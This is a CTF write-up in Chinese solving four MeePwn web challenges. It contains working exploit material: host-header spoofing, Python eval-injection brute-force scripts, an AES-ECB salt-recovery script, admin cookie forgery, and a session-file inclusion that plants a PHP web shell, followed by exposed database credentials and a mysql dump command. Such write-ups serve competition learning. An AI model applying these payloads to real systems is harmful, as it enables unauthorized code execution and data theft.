web1-OmegaSector
题目链接:http://138.68.228.12/
html注释中:
访问:http://138.68.228.12/?is_debug=1
得到回显
发现网站源码,这里给出关键部分:
flag的位置:
1ini_set("display_errors", 0);
2include('secret.php');
两个跳转功能:
1if($whoareyou==="alien.somewhere.meepwn.team")
2{
3 if(!isset($_GET['alien']))
4 {
5 $wrong = <<<EOF
6.......(省略)
7EOF;
8 echo $wrong;
9 }
10 if(isset($_GET['alien']) and !empty($_GET['alien']))
11 {
12 if($_GET['alien']==='@!#$@!@@')
13 {
14 $_SESSION['auth']=hash('sha256', 'alien'.$salt);
15 exit(header( "Location: alien_sector.php" ));
16 }
17 else
18 {
19 mapl_die();
20 }
21 }
22}
这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'
然后紧接着
1elseif($whoareyou==="human.ludibrium.meepwn.team")
2{
3 if(!isset($_GET['human']))
4 {
5 echo "";
6 $wrong = .......(省略)
7 echo $wrong;
8 }
9 if(isset($_GET['human']) and !empty($_GET['human']))
10 {
11 if($_GET['human']==='Yes')
12 {
13 $_SESSION['auth']=hash('sha256', 'human'.$salt);
14 exit(header( "Location: omega_sector.php" ));
15 }
16 else
17 {
18 mapl_die();
19 }
20 }
21}
这里也有一个不同的跳转omega_sector.php,需要$_GET['human']==='Yes'
whoareyou的来源:
1$remote=$_SERVER['REQUEST_URI'];
2if(strpos(urldecode($remote),'..'))
3{
4mapl_die();
5}
6if(!parse_url($remote, PHP_URL_HOST))
7{
8 $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
9}
10$whoareyou=parse_url($remote, PHP_URL_HOST);
攻击思路:
很明显,第一步是要过这里的whoareyou解析
我们必须访问题目的链接http://138.68.228.12/,但是又需要它将host解析成
alien.somewhere.meepwn.team或human.ludibrium.meepwn.team
那么这里就可以利用Burp抓包修改bypass
显然成功触发了302跳转
我们跟一下
成功来到了alien_sector.php页面
经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的
type控制文件后缀,message控制文件内容
另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号
而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:
http://www.freebuf.com/articles/web/165537.html
类似于
1<?=$flag='123';?>
可以解析为
1<?php
2$flag='123';
3echo $flag;
4?>
而对于通配符,早在geekgame中我也遇到过:
http://skysec.top/2017/10/28/geekgame%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97
所以这里可以用?来通配命令
例如
我们可以利用/???/???来通配/bin/cat
而flag文件
1../secret.php
可以用
1../??????.???
简单测试
访问该文件得到
it works!
payload
综上所述,可以得到payload
为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受
访问该页面,下载重定向文件,即可看到flag
web2-PyCalx
题目链接:http://178.128.96.203/cgi-bin/server.py?value1=123&op=%3D%3D&value2=123
题目直接给出了源码(给出关键部分)
源码分析:
1#!/usr/bin/env python
2import cgi;
3import sys
4from html import escape
5
6FLAG = open('/var/www/flag','r').read()
7if 'source' in arguments:
8 source = arguments['source'].value
9else:
10 source = 0
11
12if source == '1':
13 print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
14
15if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
16 def get_value(val):
17 val = str(val)[:64]
18 if str(val).isdigit(): return int(val)
19 blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
20 if val == '' or [c for c in blacklist if c in val] != []:
21 print('<center>Invalid value</center>')
22 sys.exit(0)
23 return val
24
25 def get_op(val):
26 val = str(val)[:2]
27 list_ops = ['+','-','/','*','=','!']
28 if val == '' or val[0] not in list_ops:
29 print('<center>Invalid op</center>')
30 sys.exit(0)
31 return val
32
33 op = get_op(arguments['op'].value)
34 value1 = get_value(arguments['value1'].value)
35 value2 = get_value(arguments['value2'].value)
36
37 if str(value1).isdigit() ^ str(value2).isdigit():
38 print('<center>Types of the values don\'t match</center>')
39 sys.exit(0)
40
41 calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
42
43 print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
44 print('>>>> print('+escape(calc_eval)+')')
45
46 try:
47 result = str(eval(calc_eval))
48 if result.isdigit() or result == 'True' or result == 'False':
49 print(result)
50 else:
51 print("Invalid") # Sorry we don't support output as a string due to security issue.
52 except:
53 print("Invalid")
代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)然后拼接3个参数,进行命令执行判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效
那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag
而过滤如下:
11.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '
22.对于op:最长为2,必须以白名单开头'+ - / * = !'
33.value1和value2的类型必须一样,要么都为数字,要么都为字符串
攻击思路:
这里想要命令执行显然比较困难
但是题目暗示明显,想让我们进行运算比较
那这就和sql注入很相似了,我们只需要构造两个值进行比较即可
而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个
我们知道python中,+除了运算符的加,也可以当做拼接符
而#可以用于注释
那么就可以进行注入闭合了
1value1=a
2op=+'
3value2= < b#
此时我们可以发现语句变成了
1'a'+''<b#'
但是这样是无效的,因为b不是一个已定义的变量
所以这里想到引入已定义的变量进行注入
那么能控制的也只有source、value1了(因为value2无法引入单引号)
此时还只能构造已定义变量的表达式,所以想到了
1value1+FLAG<vaule1+source
这样的表达式
对于source的值,我们可以控制
1if 'source' in arguments:
2 source = arguments['source'].value
故此可以得到如下的payload:
1source=M&value1=sky&value2=+FLAG<value1+source#&op=+'
这样一来就可以得到比较式
1'x'+''+FLAG<value1+source
而value1正是前面的x,我们可以利用能控制的source比较出FLAG
这也是sql注入中常见的手段
注入脚本:
1import requests
2import urllib
3source="M"
4v2="+FLAG<value1+source#"
5op="+'"
6
7for i in range(1,1000):
8 tmp = source
9 for j in range(33,127):
10 tmp += chr(j)
11 url = "http://178.128.96.203/cgi-bin/server.py?source=%s&value1=sky&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12 s=requests.get(url=url)
13 tmp = source
14 if "True" in s.content[765:780]:
15 source += chr(j-1)
16 print source
17 break
运行结束即可得到flag
web3-PyCalx2
这里变成了加强版,有了我之前说的op过滤
我们对比一下两者源码,只有这一处改动
1 op = get_op(get_value(arguments['op'].value))
也就是说加入了黑名单过滤
我们的op不能再引入( ) [ ] ' "
那么引号肯定是不能直接像sql注入那样闭合了
攻击思路
这里就用到了python3.6的新特性
https://www.python.org/dev/peps/pep-0498/
即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。
那么我们可以利用op=+f来进行bypass
为了有办法辨识正确性,所以引入了0和1做对比
但是因为结果只允许True和False
在保证区分度的情况下,还得构造出True
这里就用到了14:x
正如图中所示,其经过表达式后,值为e
而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效
这样就有了辨识度,可以进行注入了
直接将0和1的位置改成FLAG<source进行比较即可
攻击脚本:
1import requests
2import urllib
3source="M"
4v2="ru{FLAG<source or 14:x}"
5op="+f"
6
7for i in range(1,1000):
8 tmp = source
9 for j in range(33,127):
10 tmp += chr(j)
11 url = "http://206.189.223.3/cgi-bin/server.py?source=%s&value1=T&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12 s=requests.get(url=url)
13 tmp = source
14 if "True" not in s.content[765:780]:
15 source += chr(j-1)
16 print source
17 break
运行后得到flag
web4-Mapl Story
题目链接:http://178.128.87.16/
题目源码下载:
https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip
代码分析
拿到代码后,发现不是框架写的,那么就从入口入手吧
审计index.php
1if(isset($_GET['page']) && !empty($_GET['page']))
2{
3 include($_GET['page']);
4}
5else
6{
7 header("Location: ?page=login.php");
8}
不难发现存在文件包含问题,这里暂时记下
然后跟着跳转来到Login.php
1if( $count === 1 && $row['userPass']===$password )
2 {
3 $secure_email=encryptData($row['userEmail'],$salt,$key);
4 $secure_name=encryptData($row['userName'],$salt,$key);
5 $log_content='['.date("h:i:sa").' GMT+7] Logged In';
6 $_SESSION['character_name'] = $secure_name;
7 $_SESSION['user'] = $secure_email;
8 $_SESSION['action']=$log_content;
9 if ($row['userIsAdmin']==='1')
10 {
11 $data='admin'.$salt;
12 $role=hash('sha256', $data);
13 setcookie('_role',$role);
14 }
15 else
16 {
17 $data='user'.$salt;
18 $role=hash('sha256', $data);
19 setcookie('_role',$role);
20 }
21 header("Location: ?page=home.php");
22 }
登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role
我们继续跟进到admin.php,看是否使用_role判断是否为admin
关键代码
1<?php
2 ob_start();
3 require_once('dbconnect.php');
4 require_once('mapl_library.php');
5 check_access();
6 is_login();
7
8 //setup config
9 $configRow=config_connect($conn);
10 $salt=$configRow['mapl_salt'];
11 $key=$configRow['mapl_key'];
12
13 //get information
14 $mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));
15 $character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));
16 $userRow=user_connect($conn,$mail);
17 $admin=is_admin($salt);
18 if($admin===0)
19 {
20 mapl_die();
21 }
22 $log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';
23 $_SESSION['action']=$log_content;
24?>
我们跟进is_admin()函数
1 function is_admin($salt)
2 {
3 if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))
4 {
5 return 1;
6 }
7 return 0;
8 }
发现的确是使用cookie中的_role来确认admin的身份
那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能
第一步攻击思路:
那么既然需要伪造cookie,就必须知道salt的值
我们全局搜索一下$salt,不难发现
1function encryptData($data,$salt,$key)
2 {
3 $encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
4 $raw=base64_decode($encrypt);
5 $final=implode(unpack("H*", $raw));
6 return $final;
7 }
因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题
或许可以用类似的方法,得到$salt的明文
而我们知道这个函数的调用点在login的时候
1$secure_email=encryptData($row['userEmail'],$salt,$key);
2$secure_name=encryptData($row['userName'],$salt,$key);
3$_SESSION['character_name'] = $secure_name;
4$_SESSION['user'] = $secure_email;
值是存在session里的,那我们如何看到这个值呢?
这就要用到最开始的文件包含了
文件包含的时候包含session是一种常见的手段
一般用于getshell等(N1CTF等各大比赛就曾出现过)
这里我们可以使用包含读取session的变量值
http://178.128.87.16/?page=/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3
得到内容
1character_name|s:64:"28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";
于是我们得到了加密过的
1$secure_email:c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005
2$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b
那么怎么利用这一点得到$salt呢?
这里可以利用相似Padding Oracle Attack的解法,但是简单的多
1.假设明文为:skycool, salt的值为:Whitzard
2.加密的时候就会变成string:skycoolWhitzard
而如果8个一组进行加密的话
skycoolW为第一组
hitzard+(padding)为第二组
那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name
然后不断更新用户名
skycoola
skycoolb
.....
直到第一个分组的密文等于之前的$secure_name
即skycoolW
此时就得到了第一个salt的值:W
所以总体过程为
skycoolW
skycooWhitzard
skycoWhi
skycWhit
skyWhitz
skWhitza
sWhitzar
Whitzard
而这里是16个一组,所以如图,我们不断往后爆破即可得到salt
即注册skyskyskyskysky即可,然后利用
http://178.128.87.16/index.php?page=setting.php
即可更改用户名,不断进行爆破,即可得到salt
salt爆破脚本:
1import requests
2import string
3phpsession = "alsobtmcmlh2i057l1q8qg8g72"
4phprole = "8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe"
5
6def readname():
7 url = "http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_"+phpsession
8 r = requests.get(url=url)
9 return r.content[21:85]
10
11def changname(username):
12 url = "http://178.128.87.16/index.php?page=setting.php"
13 data = {
14 "name":username,
15 "submit":"Edit"
16 }
17 cookie = {
18 "PHPSESSID":phpsession,
19 "_role":phprole
20 }
21 s = requests.post(url=url,data=data,cookies=cookie)
22
23def getsalt():
24 tmp_name = 'skyskyskyskysky'
25 salt = ''
26 for i in range(15, -1, -1):
27 changname(tmp_name[:i])
28 cmp = readname()[:32]
29 if i==0:
30 cmp = readname()[32:64]
31 for j in string.printable:
32 changname(tmp_name[:i] + salt + j)
33 if cmp == readname()[:32]:
34 salt += j
35 print salt
36 break
37
38getsalt()
运行即可得到salt:ms_g00d_0ld_g4m3
第二步攻击思考
有了salt,第一件事肯定是伪造cookie的_role
我们根据
1if ($row['userIsAdmin']==='1')
2{
3 $data='admin'.$salt;
4 $role=hash('sha256', $data);
5 setcookie('_role',$role);
6}
伪造cookie:
1import hashlib
2def sha256(name,salt):
3 sha = hashlib.sha256(name+salt)
4 encrypts = sha.hexdigest()
5 return encrypts
6salt = 'ms_g00d_0ld_g4m3'
7name = 'admin'
8print sha256(name,salt)
得到
a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054
此时成功伪造admin,登入admin.php页面
然后我们看一下admin.php的代码
1 <?php
2 if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
3 {
4 $dir='./upload/'.md5($salt.$_POST['email']).'/';
5 give_pet($dir,$_POST['pet']);
6 if(check_available_pet($_POST['pet']))
7 {
8 $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
9 $_SESSION['action']=$log_content;
10 }
11 }
12 ?>
这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路
那么这里有一个可控的session变量就显得尤为危险
我们看一下构造
1$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
跟进search_name_by_mail()
1function search_name_by_mail($conn,$mail)
2 {
3 $mail=mysqli_real_escape_string($conn,$mail);
4 $res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'");
5 $userRow=mysqli_fetch_array($res);
6 if($userRow['userName'])
7 {
8 return $userRow['userName'];
9 }
10 else
11 {
12 return '[Not Exists Player]';
13 }
14 }
发现成功返回用户名,也就是说这里可以将用户名写入session
而用户名是可控的,但是必须经过黑名单过滤
1$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
除了过滤了一些脏话,有一个正则非常难受
1|\(.+\)|`.+`|
而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了
所以这里就要用到最后一个尚未被使用的功能了:
http://178.128.87.16/index.php?page=character.php
跟一下代码
1if(isset($_POST['command']) && !empty($_POST['command']))
2{
3 if(strlen($_POST['command'])>=20)
4 {
5 echo '<center><strong>Too Long</strong></center>';
6 }
7 else
8 {
9 save_command($mail,$salt,$_POST['command']);
10 header("Refresh:0");
11 }
12}
这里跟踪save_command()
1 function save_command($email,$salt,$data)
2 {
3 $dir='./upload/'.md5($salt.$email);
4 file_put_contents($dir.'/command.txt', $data);
5 }
发现是写文件
那么我们思考一下,可否包含自己写的文件进行getshell呢?
但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了
有没有什么可以绕过过滤的方法呢?
我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤
这里有一个比较好的思路
构造一个名为
1<?=include"$_COOKIE[a]
的用户名
然后利用发送宠物,将其写入session
此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤
然后我们在写文件的地方,写入小马的base64
再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的
攻击流程:
1.修改自己的用户名为:
1<?=include"$_COOKIE[a]
2.admin.php发送宠物给自己
3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs
即
1<?=`$_GET[f]`;
然后在自己的session页面
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6
增加cookie:
a=php://filter/convert.base64-decode/resource=upload/783691d030e4c77da08982a705ff9e76/command.txt
利用伪协议解码小马,并包含进来
即可成功执行命令
然后读取dbconnect.php
1define('DBHOST', 'localhost');
2 define('DBUSER', 'mapl_story_user');
3 define('DBPASS', 'tsu_tsu_tsu_tsu');
4 define('DBNAME', 'mapl_story');
5
6 $conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
7
8 if ( !$conn ) {
9 die("Connection failed : " . mysql_error());
10 }
连接并查询数据库
1echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
得到flag
-END-